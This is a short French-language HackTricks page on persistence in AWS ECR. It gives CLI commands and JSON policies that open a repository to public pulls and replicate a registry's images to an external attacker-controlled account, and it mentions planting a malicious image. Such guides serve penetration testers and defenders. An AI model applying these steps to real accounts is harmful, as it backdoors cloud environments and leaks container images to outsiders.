AWS - ECR Persistence

Support HackTricks

ECR

Pour plus d'informations, consultez :

Image Docker Cachée avec Code Malveillant

Un attaquant pourrait télécharger une image Docker contenant du code malveillant dans un dépôt ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services au sein du compte, tels qu'Amazon ECS ou EKS, de manière furtive.

Politique de Dépôt

Ajoutez une politique à un seul dépôt vous accordant (ou à tout le monde) l'accès à un dépôt :

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Notez que ECR exige que les utilisateurs aient la permission d'effectuer des appels à l'API ecr:GetAuthorizationToken via une politique IAM avant de pouvoir s'authentifier auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.

Politique de Registre & Réplication Inter-comptes

Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez indiquer le compte externe dans lequel vous souhaitez répliquer le registre.

Tout d'abord, vous devez donner au compte externe l'accès au registre avec une politique de registre comme :

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Ensuite, appliquez la configuration de réplication :

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Soutenir HackTricks

Last updated